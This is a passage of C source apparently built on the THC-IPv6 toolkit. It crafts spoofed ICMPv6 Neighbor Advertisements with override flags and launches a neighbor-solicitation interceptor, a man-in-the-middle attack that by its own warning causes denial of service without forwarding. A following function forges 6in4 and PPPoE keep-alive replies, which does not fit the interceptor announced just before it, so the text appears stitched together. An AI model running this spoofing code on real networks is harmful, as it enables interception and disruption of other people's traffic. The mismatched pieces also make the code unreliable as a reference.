if (thc_add_hdr_oneshotfragment(pkt, &pkt_len, cnt++) < 0)
return -1;
}
if (do_dst) {
if (ptype == NXT_ICMP6)
ptype = NXT_DST;
if (thc_add_hdr_dst(pkt, &pkt_len, buf3, sizeof(buf3)) < 0)
return -1;
}
if (thc_add_icmp6(pkt, &pkt_len, ICMP6_NEIGHBORADV, 0, ICMP6_NEIGHBORADV_SOLICIT | ICMP6_NEIGHBORADV_OVERRIDE, dummy, 24, 0) < 0)
return -1;
if (thc_generate_pkt(interface, ownmac, dummy, pkt, &pkt_len) < 0)
return -1;
ipv6 = (thc_ipv6_hdr *) pkt;
memset(ipv6->pkt + 56 + (do_dst * 1400) + (do_hop + do_frag) * 8, 0, 2); // reset checksum to zero
if (debug) {
thc_dump_data(ipv6->pkt, ipv6->pkt_len, "Prepared spoofing packet");
printf("\n");
}
if (i == 0 && do_reverse) {
ipv62 = ipv6;
ipv62->pkt[0] = 0x33; // multicast mac hack for destination
ipv62->pkt[1] = 0x33; // multicast mac hack for destination
ipv6 = NULL;
pkt2 = pkt;
pkt = NULL;
pkt2_len = pkt_len;
pkt_len = 0;
}
}
printf("Remember to enable routing (ip_forwarding), you will denial service otherwise!\n");
printf("Started ICMP6 Neighbor Solitication Interceptor (Press Control-C to end) ...\n");
return thc_pcap_function(interface, "ip6", (char *) intercept, NULL);
}
void intercept(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) {
unsigned char *ipv6hdr, *pkt, buf[1500];
int len = header->caplen, pkt_len = 0;
unsigned int *seq, offset = 0;
unsigned short int *orig, *seen;
thc_ipv6_hdr hdr;
if (debug) {
printf("DEBUG: packet received\n");
thc_dump_data((unsigned char *)data, len, "Received packet on tunnel");
}
if (type == 2) { // 6in4
len -= do_hdr_size;
ipv6hdr = (unsigned char*) (data + do_hdr_size);
if ((ipv6hdr[0] & 240) != 0x60)
return;
if (len < 48 || ipv6hdr[6] != NXT_ICMP6 || ipv6hdr[41] != 0)
return;
seq = (unsigned int *) (ipv6hdr + 44);
if (ipv6hdr[40] == ICMP6_PINGREQUEST) {
printf("Keep-alive ping request ID 0x%x seen\n", htonl(*seq));
if (passive == 0) {
if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, ipv6hdr + 24, ipv6hdr + 8, 255, 0, 0, 0, 0)) == NULL)
return;
if (thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREPLY, 0, htonl(*seq), (unsigned char *) ipv6hdr + 40 + 8, len - 40 - 8, 0) < 0)
return;
if (thc_generate_and_send_pkt(interface, NULL, NULL, pkt, &pkt_len) < 0)
return;
pkt = thc_destroy_packet(pkt);
printf("Keep-alive ping reply ID 0x%x sent\n", htonl(*seq));
}
}
if (passive && ipv6hdr[40] == ICMP6_PINGREPLY)
printf("Keep-alive ping reply ID 0x%x seen\n", htonl(*seq));
} else { // PPPoE
seen = (unsigned short int *) (data + 20 + offset + do_hdr_off);
if (len < 40 || len > 1500 || htons(*seen) != 0xc021)
return;
seen = (unsigned short int *) (data + 16 + offset + do_hdr_off);
if (memcmp(data + 16 + offset + do_hdr_off, do_hdr + 16 + offset + do_hdr_off, 2) != 0) {
orig = (unsigned short int*) (do_hdr + 16 + offset + do_hdr_off);
fprintf(stderr, "Warning: PPPoE SessionID is different to that defined in the environment variable! ((specified) %04x != %04x (seen))\n", htons(*orig), htons(*seen));
}
if (data[22 + offset + do_hdr_off] == 9) {
printf("Keep-alive request ID 0x%04x seen\n", htons(*seen));
if (passive == 0) {
memcpy(buf + 12, data + 12, len - 12);
memcpy(buf + 6, data, 6);
memcpy(buf, data + 6, 6);
buf[22 + offset + do_hdr_off] = 10;
hdr.pkt = buf;
hdr.pkt_len = len;
if (thc_send_pkt(interface, (unsigned char*) &hdr, &len) < 0) {
fprintf(stderr, "Error: could not send packet to interface %s (%d)\n", interface, thc_socket);
exit(-1);
}
printf("Keep-alive reply ID 0x%04x sent\n", htons(*seen));
}
} else {
if (passive && data[22 + offset + do_hdr_off] == 10)
printf("Keep-alive reply ID 0x%04x seen\n", htons(*seen));
}
}
return;
}
